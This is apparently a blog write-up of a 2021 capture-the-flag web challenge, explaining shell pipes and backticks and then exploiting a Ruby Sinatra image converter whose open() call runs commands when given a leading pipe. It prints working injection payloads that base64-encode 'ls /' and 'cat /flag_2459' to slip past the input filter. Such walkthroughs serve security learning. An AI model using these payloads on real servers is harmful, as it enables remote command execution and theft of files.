2021-第五空间智能安全大赛-PNG图片转换器 | 管道符与反引号的配合、open()函数绝杀


一、原理

1、base64 -d🍺
从标准输入中读取已经进行base64编码的内容,解码输出

2、管道符 |🍺
使用此管道符"|"可以将两个命令分隔开,"|"左边命令的输出就会作为"|"右边命令的输入,此命令可连续使用

3、反引号🍺

(1)、( ` )这个字符所对应的键一般位于键盘的左上角,不要将其同单引号(’)混淆
(2)、反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分。

4、反引号还可以嵌套使用🍺
但需注意,嵌套使用时内层的反引号必须用反斜杠(\)将其转义,例如:

$ abc=`echo The num of users is \`who| nb -l\``
$ echo $abc

二、操作过程

🍺题目给了一个.rb文件,.rb文件格式是Ruby创建的程序源代码

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

代码主要实现两个功能,分为uploadconvert两个页面,一个上传图片,一个转换图片

🍺分析代码,注意到convert功能代码调用了open()函数,尝试一下命令执行

首先随便选择个png图片上传,代码分析可以知道,返回的是加密的文件名

在这里插入图片描述
convert页面进行图片PNG转换,分析源码

res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"

可以看到,在读取到文件后,将文件进行base64加密输出

🍺可以利用这一点,将我们将需要执行的代码写入到图片中,然后执行代码,访问图片后会以base64加密的形式输出我们想要的信息,同时,需要注意,输入参数时过滤了反斜杠和进行png后缀检测

这里我们利用管道符与反引号进行payload

ls /进行base64加密后为bHMgLw==,我们将bHMgLw==输入给管道符后面,进行base64解密,反引号执行完后,第一个管道符前面没有代码,直接执行后面代码,将ls /写入图片

file=| `echo bHMgLw== | base64 -d` > cd8494ce544176f7809fdd46d67d2009.png

在这里插入图片描述
我们将ls /写入了图片中

🍺然后查看图片

在这里插入图片描述
可以看到,我们刚刚写入的代码执行了,以base64加密输出信息

🍺将得到的密文解密

在这里插入图片描述
可以看到,存在flag_2459文件

🍺然后查看该文件内容,需要将查看文件代码写入

cat /flag_2459进行base64加密后为Y2F0IC9mbGFnXzI0NTk=

file=| `echo Y2F0IC9mbGFnXzI0NTk= | base64 -d` > cd8494ce544176f7809fdd46d67d2009.png

在这里插入图片描述
🍺将代码写入图片中并访问执行

在这里插入图片描述
🍺又得到一串base64加密的密文,进行base64解密

在这里插入图片描述

得到Flag,结束!🍺
可到ctfhub上进行复盘

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值